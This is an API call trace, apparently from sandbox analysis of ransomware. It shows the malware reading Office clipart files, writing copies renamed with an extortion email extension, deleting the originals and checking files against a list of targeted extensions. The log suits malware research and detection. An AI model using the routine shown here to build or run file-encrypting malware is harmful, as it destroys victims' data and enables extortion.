	[0165.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220
	[0165.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.729] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.729] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0165.730] GetLastError () returned 0x0
	[0165.730] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4162, lpOverlapped=0x0) returned 1
	[0165.732] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4170, lpOverlapped=0x0) returned 1
	[0165.734] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.734] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.734] SetEndOfFile (hFile=0x4a4) returned 1
	[0165.734] CloseHandle (hObject=0x4a4) returned 1
	[0165.734] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.734] SetEndOfFile (hFile=0x440) returned 1
	[0165.740] CloseHandle (hObject=0x440) returned 1
	[0165.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1
	[0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.742] lstrlenW (lpString=".doc") returned 4
	[0165.742] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0165.742] lstrlenW (lpString=".docx") returned 5
	[0165.742] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0165.742] lstrlenW (lpString=".pdf") returned 4
	[0165.742] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0165.742] lstrlenW (lpString=".xls") returned 4
	[0165.742] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0165.742] lstrlenW (lpString=".xlsx") returned 5
	[0165.742] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0165.742] lstrlenW (lpString=".ppt") returned 4
	[0165.742] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.742] lstrlenW (lpString=".zip") returned 4
	[0165.742] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0165.742] lstrlenW (lpString=".rar") returned 4
	[0165.742] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0165.742] lstrlenW (lpString=".bz2") returned 4
	[0165.742] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0165.742] lstrlenW (lpString=".7z") returned 3
	[0165.742] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.742] lstrlenW (lpString=".dbf") returned 4
	[0165.742] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.742] lstrlenW (lpString=".1cd") returned 4
	[0165.742] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.742] lstrlenW (lpString=".jpg") returned 4
	[0165.742] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.743] lstrlenW (lpString=".doc") returned 4
	[0165.743] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0165.743] lstrlenW (lpString=".docx") returned 5
	[0165.743] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0165.743] lstrlenW (lpString=".pdf") returned 4
	[0165.743] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0165.743] lstrlenW (lpString=".xls") returned 4
	[0165.743] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0165.743] lstrlenW (lpString=".xlsx") returned 5
	[0165.743] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0165.743] lstrlenW (lpString=".ppt") returned 4
	[0165.743] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.743] lstrlenW (lpString=".zip") returned 4
	[0165.743] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0165.743] lstrlenW (lpString=".rar") returned 4
	[0165.743] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0165.743] lstrlenW (lpString=".bz2") returned 4
	[0165.743] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0165.743] lstrlenW (lpString=".7z") returned 3
	[0165.743] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.743] lstrlenW (lpString=".dbf") returned 4
	[0165.743] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.743] lstrlenW (lpString=".1cd") returned 4
	[0165.743] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0165.743] lstrlenW (lpString=".jpg") returned 4
	[0165.743] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0165.744] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0165.744] lstrlenW (lpString="J0099187.JPG") returned 12
	[0165.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.745] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=24528) returned 1
	[0165.745] CloseHandle (hObject=0x440) returned 1
	[0165.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220
	[0165.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.746] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.746] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0165.747] GetLastError () returned 0x0
	[0165.747] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x5fd0, lpOverlapped=0x0) returned 1
	[0165.777] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x5fe0, lpOverlapped=0x0) returned 1
	[0165.778] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.778] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.779] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.059] CloseHandle (hObject=0x4a4) returned 1
	[0166.074] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.074] SetEndOfFile (hFile=0x440) returned 1
	[0166.094] CloseHandle (hObject=0x440) returned 1
	[0166.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1
	[0166.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.095] lstrlenW (lpString=".doc") returned 4
	[0166.095] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.095] lstrlenW (lpString=".docx") returned 5
	[0166.096] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0166.096] lstrlenW (lpString=".pdf") returned 4
	[0166.096] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.096] lstrlenW (lpString=".xls") returned 4
	[0166.096] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.096] lstrlenW (lpString=".xlsx") returned 5
	[0166.096] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0166.096] lstrlenW (lpString=".ppt") returned 4
	[0166.096] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.096] lstrlenW (lpString=".zip") returned 4
	[0166.096] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.096] lstrlenW (lpString=".rar") returned 4
	[0166.096] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.096] lstrlenW (lpString=".bz2") returned 4
	[0166.096] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.096] lstrlenW (lpString=".7z") returned 3
	[0166.096] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.096] lstrlenW (lpString=".dbf") returned 4
	[0166.096] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.096] lstrlenW (lpString=".1cd") returned 4
	[0166.096] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.096] lstrlenW (lpString=".jpg") returned 4
	[0166.096] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.096] lstrlenW (lpString=".doc") returned 4
	[0166.096] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.096] lstrlenW (lpString=".docx") returned 5
	[0166.097] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0166.097] lstrlenW (lpString=".pdf") returned 4
	[0166.097] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.097] lstrlenW (lpString=".xls") returned 4
	[0166.097] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.097] lstrlenW (lpString=".xlsx") returned 5
	[0166.097] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0166.097] lstrlenW (lpString=".ppt") returned 4
	[0166.097] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.097] lstrlenW (lpString=".zip") returned 4
	[0166.097] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.097] lstrlenW (lpString=".rar") returned 4
	[0166.097] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.097] lstrlenW (lpString=".bz2") returned 4
	[0166.097] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.097] lstrlenW (lpString=".7z") returned 3
	[0166.097] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.097] lstrlenW (lpString=".dbf") returned 4
	[0166.097] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.097] lstrlenW (lpString=".1cd") returned 4
	[0166.097] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0166.097] lstrlenW (lpString=".jpg") returned 4
	[0166.098] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.098] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0166.098] lstrlenW (lpString="J0099189.JPG") returned 12
	[0166.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.098] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8076) returned 1
	[0166.098] CloseHandle (hObject=0x440) returned 1
	[0166.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220
	[0166.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.099] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.099] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0166.100] GetLastError () returned 0x0
	[0166.100] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1f8c, lpOverlapped=0x0) returned 1
	[0166.102] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0166.103] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.103] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.103] SetEndOfFile (hFile=0x3e0) returned 1
	[0166.103] CloseHandle (hObject=0x3e0) returned 1
	[0166.104] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.104] SetEndOfFile (hFile=0x440) returned 1
	[0166.231] CloseHandle (hObject=0x440) returned 1
	[0166.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1
	[0166.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.232] lstrlenW (lpString=".doc") returned 4
	[0166.232] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.232] lstrlenW (lpString=".docx") returned 5
	[0166.232] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0166.232] lstrlenW (lpString=".pdf") returned 4
	[0166.232] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.232] lstrlenW (lpString=".xls") returned 4
	[0166.232] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.232] lstrlenW (lpString=".xlsx") returned 5
	[0166.232] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0166.233] lstrlenW (lpString=".ppt") returned 4
	[0166.233] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.233] lstrlenW (lpString=".zip") returned 4
	[0166.233] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.233] lstrlenW (lpString=".rar") returned 4
	[0166.233] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.233] lstrlenW (lpString=".bz2") returned 4
	[0166.233] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.233] lstrlenW (lpString=".7z") returned 3
	[0166.233] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.233] lstrlenW (lpString=".dbf") returned 4
	[0166.233] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.233] lstrlenW (lpString=".1cd") returned 4
	[0166.233] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.233] lstrlenW (lpString=".jpg") returned 4
	[0166.233] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.233] lstrlenW (lpString=".doc") returned 4
	[0166.233] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.233] lstrlenW (lpString=".docx") returned 5
	[0166.233] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0166.233] lstrlenW (lpString=".pdf") returned 4
	[0166.233] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.233] lstrlenW (lpString=".xls") returned 4
	[0166.233] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.233] lstrlenW (lpString=".xlsx") returned 5
	[0166.233] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0166.234] lstrlenW (lpString=".ppt") returned 4
	[0166.234] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.234] lstrlenW (lpString=".zip") returned 4
	[0166.234] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.281] lstrlenW (lpString=".rar") returned 4
	[0166.281] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.281] lstrlenW (lpString=".bz2") returned 4
	[0166.281] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.281] lstrlenW (lpString=".7z") returned 3
	[0166.281] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.281] lstrlenW (lpString=".dbf") returned 4
	[0166.281] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.281] lstrlenW (lpString=".1cd") returned 4
	[0166.281] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0166.281] lstrlenW (lpString=".jpg") returned 4
	[0166.281] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.282] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.282] lstrlenW (lpString="J0099193.GIF") returned 12
	[0166.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.282] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=35546) returned 1
